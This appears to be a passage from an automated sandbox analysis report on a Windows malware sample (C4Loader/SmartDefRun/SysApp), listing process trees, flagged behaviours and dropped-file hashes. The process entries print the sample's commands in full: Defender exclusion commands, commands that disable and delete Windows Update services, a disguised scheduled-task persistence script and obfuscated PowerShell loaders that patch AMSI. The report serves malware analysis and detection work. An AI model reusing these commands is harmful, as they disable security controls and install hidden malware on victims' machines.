- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1848
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C:\Users\Admin\AppData\Local\Temp\SysApp.exe"C:\Users\Admin\AppData\Local\Temp\SysApp.exe"5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:2864
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1044 -s 2363⤵
- Program crash
PID:4084
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4968
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2476 -
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
PID:1204
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C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
PID:732
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C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
PID:2308
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C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
PID:3388
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C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
PID:4864
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵PID:3432
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵PID:4200
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
- Modifies security service
PID:4380
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵PID:1904
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵PID:1288
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thpqznhs#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenQC' /tr '''C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsDefenderSmartScreenQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenQC" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4708
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C:\Windows\System32\dialer.exeC:\Windows\System32\dialer.exe2⤵PID:2636
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C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}1⤵PID:2848
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C:\Windows\system32\sihost.exesihost.exe1⤵PID:2664
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵PID:2536
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2520
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵PID:2500
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C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵PID:2424
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵PID:2412
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2328
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2320
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2188
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2148
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:1708
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:2024
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵PID:1944
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1936
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:1892
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1752
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵PID:1676
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1596
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1552
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1536
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1412
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1404
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1336
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵PID:1228
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1216
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1176
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵PID:1132
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:oFxGsmcHNaBd{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$nPRLWgGqJHkxeo,[Parameter(Position=1)][Type]$fSJgYmxtka)$MyTNnkMJMLY=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+[Char](102)+''+[Char](108)+''+'e'+''+[Char](99)+''+[Char](116)+''+[Char](101)+'d'+[Char](68)+''+[Char](101)+''+'l'+''+[Char](101)+''+[Char](103)+''+'a'+''+'t'+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+'n'+[Char](77)+'e'+[Char](109)+''+[Char](111)+''+[Char](114)+''+[Char](121)+''+[Char](77)+''+[Char](111)+''+'d'+''+'u'+''+[Char](108)+'e',$False).DefineType('M'+[Char](121)+''+'D'+'e'+[Char](108)+''+'e'+''+[Char](103)+'a'+'t'+''+[Char](101)+'T'+'y'+''+[Char](112)+'e',''+[Char](67)+''+[Char](108)+''+[Char](97)+'ss'+','+'P'+'u'+''+[Char](98)+''+[Char](108)+'i'+'c'+','+[Char](83)+''+[Char](101)+''+[Char](97)+''+[Char](108)+''+'e'+''+'d'+''+[Char](44)+''+[Char](65)+''+'n'+''+[Char](115)+''+[Char](105)+'C'+[Char](108)+''+'a'+''+'s'+''+'s'+''+','+'Au'+[Char](116)+''+[Char](111)+''+'C'+''+'l'+''+[Char](97)+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$MyTNnkMJMLY.DefineConstructor(''+[Char](82)+'T'+[Char](83)+''+[Char](112)+'ec'+[Char](105)+''+'a'+''+[Char](108)+''+[Char](78)+'a'+[Char](109)+''+[Char](101)+''+','+''+'H'+''+'i'+''+[Char](100)+''+'e'+'By'+[Char](83)+''+[Char](105)+'g,'+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+'i'+'c'+'',[Reflection.CallingConventions]::Standard,$nPRLWgGqJHkxeo).SetImplementationFlags(''+[Char](82)+''+'u'+'nt'+'i'+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+''+[Char](110)+'age'+[Char](100)+'');$MyTNnkMJMLY.DefineMethod(''+'I'+''+'n'+''+'v'+''+[Char](111)+''+[Char](107)+'e','P'+[Char](117)+''+[Char](98)+''+[Char](108)+'ic,H'+[Char](105)+'d'+[Char](101)+''+[Char](66)+''+'y'+''+[Char](83)+''+'i'+''+[Char](103)+''+[Char](44)+''+[Char](78)+''+'e'+''+'w'+'Sl'+[Char](111)+''+[Char](116)+''+[Char](44)+''+[Char](86)+''+[Char](105)+''+[Char](114)+''+[Char](116)+'u'+[Char](97)+''+'l'+'',$fSJgYmxtka,$nPRLWgGqJHkxeo).SetImplementationFlags('R'+[Char](117)+''+[Char](110)+''+[Char](116)+''+[Char](105)+'me,'+'M'+''+[Char](97)+'n'+'a'+''+'g'+''+'e'+''+[Char](100)+'');Write-Output $MyTNnkMJMLY.CreateType();}$jnayAZCCywHkS=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+[Char](121)+''+'s'+''+'t'+''+[Char](101)+''+'m'+''+[Char](46)+'dl'+[Char](108)+'')}).GetType(''+[Char](77)+''+[Char](105)+''+[Char](99)+''+[Char](114)+'o'+'s'+''+[Char](111)+''+[Char](102)+''+[Char](116)+''+'.'+'Wi'+'n'+''+[Char](51)+''+[Char](50)+'.'+[Char](85)+''+[Char](110)+''+[Char](115)+''+[Char](97)+''+[Char](102)+''+'e'+''+[Char](106)+'n'+[Char](97)+'yA'+[Char](90)+'C'+'C'+''+[Char](121)+''+[Char](119)+''+'H'+'k'+[Char](83)+'');$xEGxLkeEgPGJIp=$jnayAZCCywHkS.GetMethod(''+'x'+'EG'+[Char](120)+'L'+[Char](107)+'e'+'E'+''+'g'+''+'P'+'G'+[Char](74)+''+[Char](73)+''+'p'+'',[Reflection.BindingFlags]''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+'i'+'c'+''+[Char](44)+''+'S'+''+'t'+''+'a'+''+'t'+''+'i'+''+[Char](99)+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$XFnJQFnYDnTlRkxiQxl=oFxGsmcHNaBd @([String])([IntPtr]);$eUzDCaPxnitCQIJyYAEFAa=oFxGsmcHNaBd @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$qdgBnVjyVJV=$jnayAZCCywHkS.GetMethod(''+[Char](71)+''+'e'+''+[Char](116)+''+[Char](77)+'o'+'d'+''+[Char](117)+''+'l'+''+'e'+'H'+[Char](97)+''+[Char](110)+''+'d'+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object]('k'+'e'+''+[Char](114)+''+[Char](110)+''+[Char](101)+''+'l'+''+[Char](51)+''+[Char](50)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+'l'+'')));$URzucFHxMzXKzq=$xEGxLkeEgPGJIp.Invoke($Null,@([Object]$qdgBnVjyVJV,[Object](''+[Char](76)+'oa'+[Char](100)+''+'L'+''+[Char](105)+''+[Char](98)+''+[Char](114)+'a'+'r'+''+[Char](121)+''+[Char](65)+'')));$uGltacxWxBkBjvyCR=$xEGxLkeEgPGJIp.Invoke($Null,@([Object]$qdgBnVjyVJV,[Object](''+[Char](86)+'i'+[Char](114)+''+'t'+''+[Char](117)+''+[Char](97)+''+[Char](108)+''+'P'+'r'+[Char](111)+''+'t'+'e'+[Char](99)+''+[Char](116)+'')));$WQOSmDc=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($URzucFHxMzXKzq,$XFnJQFnYDnTlRkxiQxl).Invoke('a'+[Char](109)+'si'+'.'+''+[Char](100)+''+'l'+''+[Char](108)+'');$TGPfBxvlSkUQVNuiE=$xEGxLkeEgPGJIp.Invoke($Null,@([Object]$WQOSmDc,[Object]('A'+[Char](109)+''+'s'+''+[Char](105)+''+[Char](83)+'c'+[Char](97)+''+[Char](110)+''+[Char](66)+''+'u'+''+[Char](102)+''+[Char](102)+''+'e'+''+'r'+'')));$FDnbhpnDGD=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($uGltacxWxBkBjvyCR,$eUzDCaPxnitCQIJyYAEFAa).Invoke($TGPfBxvlSkUQVNuiE,[uint32]8,4,[ref]$FDnbhpnDGD);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$TGPfBxvlSkUQVNuiE,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($uGltacxWxBkBjvyCR,$eUzDCaPxnitCQIJyYAEFAa).Invoke($TGPfBxvlSkUQVNuiE,[uint32]8,0x20,[ref]$FDnbhpnDGD);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+'O'+''+[Char](70)+''+[Char](84)+'WA'+[Char](82)+''+[Char](69)+'').GetValue(''+[Char](100)+''+'i'+''+[Char](97)+'l'+'e'+''+[Char](114)+''+[Char](115)+''+[Char](116)+''+[Char](97)+''+[Char](103)+''+'e'+'r')).EntryPoint.Invoke($Null,$Null)2⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:640 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:4396
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:lmSTLPXXwFuX{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$rmPHjOzovqQPmp,[Parameter(Position=1)][Type]$gMcvgOOVRm)$HENXhdHiNLA=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+'f'+[Char](108)+''+'e'+''+'c'+''+'t'+''+'e'+'dD'+'e'+''+'l'+'e'+[Char](103)+''+'a'+''+[Char](116)+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+[Char](110)+''+[Char](77)+''+[Char](101)+''+[Char](109)+'or'+[Char](121)+''+[Char](77)+''+'o'+''+[Char](100)+''+'u'+''+[Char](108)+''+[Char](101)+'',$False).DefineType(''+[Char](77)+''+[Char](121)+''+[Char](68)+''+[Char](101)+''+[Char](108)+''+'e'+''+[Char](103)+'a'+[Char](116)+''+'e'+''+'T'+''+'y'+'pe',''+[Char](67)+'l'+[Char](97)+''+[Char](115)+'s'+','+''+[Char](80)+'ubli'+[Char](99)+''+[Char](44)+'Se'+'a'+'l'+'e'+''+'d'+''+[Char](44)+'A'+'n'+''+[Char](115)+''+'i'+''+'C'+'las'+[Char](115)+''+','+'A'+[Char](117)+''+[Char](116)+''+[Char](111)+'Cl'+[Char](97)+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$HENXhdHiNLA.DefineConstructor(''+[Char](82)+''+[Char](84)+''+[Char](83)+''+[Char](112)+''+[Char](101)+'c'+[Char](105)+''+[Char](97)+'l'+[Char](78)+''+[Char](97)+''+[Char](109)+''+'e'+''+','+''+[Char](72)+''+[Char](105)+''+'d'+''+[Char](101)+'By'+[Char](83)+''+[Char](105)+'g'+','+''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+'ic',[Reflection.CallingConventions]::Standard,$rmPHjOzovqQPmp).SetImplementationFlags('Runt'+[Char](105)+'m'+[Char](101)+''+[Char](44)+''+'M'+''+'a'+''+[Char](110)+''+'a'+''+[Char](103)+''+[Char](101)+''+'d'+'');$HENXhdHiNLA.DefineMethod(''+[Char](73)+''+'n'+''+'v'+''+[Char](111)+'k'+[Char](101)+'',''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+'c,H'+'i'+''+'d'+''+[Char](101)+'B'+'y'+'Si'+'g'+','+'N'+''+'e'+''+[Char](119)+'S'+[Char](108)+''+[Char](111)+''+[Char](116)+','+[Char](86)+''+[Char](105)+''+'r'+''+[Char](116)+''+[Char](117)+''+[Char](97)+''+'l'+'',$gMcvgOOVRm,$rmPHjOzovqQPmp).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+[Char](105)+'m'+'e'+','+'M'+''+[Char](97)+'n'+[Char](97)+''+[Char](103)+''+'e'+''+'d'+'');Write-Output $HENXhdHiNLA.CreateType();}$mUWADumqIOszN=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+'y'+''+[Char](115)+'te'+[Char](109)+''+[Char](46)+'d'+[Char](108)+''+[Char](108)+'')}).GetType(''+[Char](77)+''+[Char](105)+'c'+[Char](114)+'o'+'s'+'o'+[Char](102)+'t'+[Char](46)+''+'W'+''+'i'+''+[Char](110)+''+[Char](51)+''+'2'+''+'.'+''+'U'+''+[Char](110)+''+'s'+''+[Char](97)+''+'f'+''+[Char](101)+''+[Char](109)+''+'U'+''+'W'+''+[Char](65)+''+[Char](68)+''+[Char](117)+''+[Char](109)+''+[Char](113)+''+'I'+''+'O'+''+[Char](115)+'zN');$dCbmRLyEfrNleY=$mUWADumqIOszN.GetMethod(''+[Char](100)+'C'+[Char](98)+''+[Char](109)+''+'R'+''+'L'+'y'+'E'+''+[Char](102)+''+'r'+'Nl'+[Char](101)+''+[Char](89)+'',[Reflection.BindingFlags]'P'+'u'+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+'c'+''+[Char](44)+''+[Char](83)+'t'+[Char](97)+''+[Char](116)+''+[Char](105)+'c',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$mAyVAjrZxtCqKmtQTsB=lmSTLPXXwFuX @([String])([IntPtr]);$GkSZbTFILzmqPZJEfLoffX=lmSTLPXXwFuX @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$SmULILAakIB=$mUWADumqIOszN.GetMethod('G'+[Char](101)+''+'t'+''+[Char](77)+''+[Char](111)+''+[Char](100)+''+[Char](117)+''+[Char](108)+''+'e'+''+[Char](72)+''+[Char](97)+'n'+[Char](100)+''+'l'+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+'r'+''+[Char](110)+''+[Char](101)+''+[Char](108)+''+[Char](51)+''+'2'+''+[Char](46)+''+[Char](100)+''+[Char](108)+'l')));$EohXyByteTmbWy=$dCbmRLyEfrNleY.Invoke($Null,@([Object]$SmULILAakIB,[Object](''+[Char](76)+''+[Char](111)+'a'+[Char](100)+'L'+[Char](105)+''+'b'+''+[Char](114)+''+'a'+''+[Char](114)+'y'+'A'+'')));$ZBlZnNHVXuDregcGB=$dCbmRLyEfrNleY.Invoke($Null,@([Object]$SmULILAakIB,[Object](''+[Char](86)+''+[Char](105)+''+[Char](114)+''+[Char](116)+'ua'+[Char](108)+''+[Char](80)+''+'r'+'o'+[Char](116)+''+[Char](101)+''+'c'+''+[Char](116)+'')));$ZxWmlZn=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($EohXyByteTmbWy,$mAyVAjrZxtCqKmtQTsB).Invoke('a'+[Char](109)+''+[Char](115)+''+[Char](105)+''+'.'+'d'+'l'+''+[Char](108)+'');$OjOrdWSNcxGlaRphu=$dCbmRLyEfrNleY.Invoke($Null,@([Object]$ZxWmlZn,[Object]('AmsiS'+[Char](99)+'an'+[Char](66)+''+'u'+'f'+'f'+''+[Char](101)+''+[Char](114)+'')));$LGruNMbuES=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ZBlZnNHVXuDregcGB,$GkSZbTFILzmqPZJEfLoffX).Invoke($OjOrdWSNcxGlaRphu,[uint32]8,4,[ref]$LGruNMbuES);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$OjOrdWSNcxGlaRphu,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ZBlZnNHVXuDregcGB,$GkSZbTFILzmqPZJEfLoffX).Invoke($OjOrdWSNcxGlaRphu,[uint32]8,0x20,[ref]$LGruNMbuES);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+''+[Char](70)+''+[Char](84)+''+'W'+''+'A'+'R'+'E'+'').GetValue(''+'d'+''+[Char](105)+''+[Char](97)+'l'+[Char](101)+''+[Char](114)+'s'+'t'+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+'r'+'')).EntryPoint.Invoke($Null,$Null)2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2976
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1064
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1028
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:752
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:960
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:4644
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C:\Windows\servicing\TrustedInstaller.exeC:\Windows\servicing\TrustedInstaller.exe1⤵PID:2496
Network
MITRE ATT&CK Enterprise v6
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 4KB
- SHA256 e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
- MD5 bdb25c22d14ec917e30faf353826c5de
- SHA1 6c2feb9cea9237bc28842ebf2fea68b3bd7ad190
- SHA512 b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c
- SSDEEP 96:iq3NYqGeHo9xrLSdx4qKkq3qktznENYrhGaq66iNLm0RIzoZcBPQhDAyRLcxZpoG:iqdYqGAjdx4qKkq3qktznEuZq6FIzoI
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
- Size 53KB
- SHA256 638c51e173ca6b3469494a7e2e0b656021a761f77b4a83f3e430e82e7b9af675
- MD5 124edf3ad57549a6e475f3bc4e6cfe51
- SHA1 80f5187eeebb4a304e9caa0ce66fcd78c113d634
- SHA512 b6c1a9051feeffad54ba1092fd799d34a9578368d7e66b31780fe478c1def0eb4094dce2879003f7389f2f9d86b94a3ef3975e78092a604597841c9b8db120ee
- SSDEEP 1536:tB+z30fztAHkvlOdBrNKe8flJn1YorV3CNBQkj2okqdzz0RzWRW7jMOvBaVGVh4j:r+z30fztAHktOdBrNKe8flJn1YorV3Cd
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 19KB
- SHA256 fc3ccc3db08a5fd460fac3fda1942166cd2b670892956945d25a8d5ddfdcbea9
- MD5 3fd87de5c26dfa278796451fdea389dd
- SHA1 da45bac56ba1977a63e7f44746e985e2963c2b61
- SHA512 19d2fcb6c5aa2f5e5977d14c751f4411fac164d5e777d7a00ebfe6e27e167e0e984890515c98034d26b5d652be003d3011aacf0c23cc2e145043424261912210
- SSDEEP 384:4sf++av9i+OMDoeItpNMfi6CsCo9or+vK6seY+p7/PNA3So3A4X3l7FazCvrQ0gs:Vf2qMM/xM68Xor+vNxtYSiF7IzCnnLR
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 54992c76969f661b605042ebdc73912dbc42e3f88aa6ffecb7191a598fc17164
- MD5 c697637a9b17f577fccd7e83a5495810
- SHA1 04e6054584786b88994b0e0a871562227fe2a435
- SHA512 66f85a03889786d2c910880bf32e9ea380740b665f11828d06acb03b6f63fb11be1d70e67acb3bc2118f2c35824919458ce7c85f6843c72a3e5ca44fadc0b3c0
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
- Size 1.4MB
- SHA256 095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
- MD5 bb86a343080f9f4696c250ef31a18d9d
- SHA1 43b2193dcb1d56eac73ba88a7b461822074192d6
- SHA512 24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560
- SSDEEP 24576:rxLuxuLtUU+vkU14ZOcwE6uTvKNBsM+OkaEbQUv2gVbAd5k5BkACNs:rxhLtPZQE6uIv+3aE8PgrcS
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
- Size 1.4MB
- SHA256 095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
- MD5 bb86a343080f9f4696c250ef31a18d9d
- SHA1 43b2193dcb1d56eac73ba88a7b461822074192d6
- SHA512 24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560
- SSDEEP 24576:rxLuxuLtUU+vkU14ZOcwE6uTvKNBsM+OkaEbQUv2gVbAd5k5BkACNs:rxhLtPZQE6uIv+3aE8PgrcS
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
- Size 3.7MB
- SHA256 ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
- MD5 f5c51e7760315ad0f0238d268c03c60e
- SHA1 85ebaaa9685634143a72bc82c6e7df87a78eed4c
- SHA512 d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35
- SSDEEP 49152:igUZan/N8cnnhzkmNraFEZPEF/4mpeD178OgxjK5j4Ga6BGnCtMPBQKChwm/Xu7M:incbnZkmxaaHFrySDZBBa50wm/e7Dt
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
- Size 3.7MB
- SHA256 ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
- MD5 f5c51e7760315ad0f0238d268c03c60e
- SHA1 85ebaaa9685634143a72bc82c6e7df87a78eed4c
- SHA512 d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35
- SSDEEP 49152:igUZan/N8cnnhzkmNraFEZPEF/4mpeD178OgxjK5j4Ga6BGnCtMPBQKChwm/Xu7M:incbnZkmxaaHFrySDZBBa50wm/e7Dt
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\SysApp.exe
- Size 1.4MB
- SHA256 dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
- MD5 b6bbab9f72c88d07b484cc339c475e75
- SHA1 f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
- SHA512 1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
- SSDEEP 24576:Y3621SZiNtNxkSJPXZi9aftdqkXO5pM7xUo1nZADHE2SDyuq5ZP+df:Y3dblkS5XZi9wdqlpMVUo1n+kbDzqbk
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\SysApp.exe
- Size 1.4MB
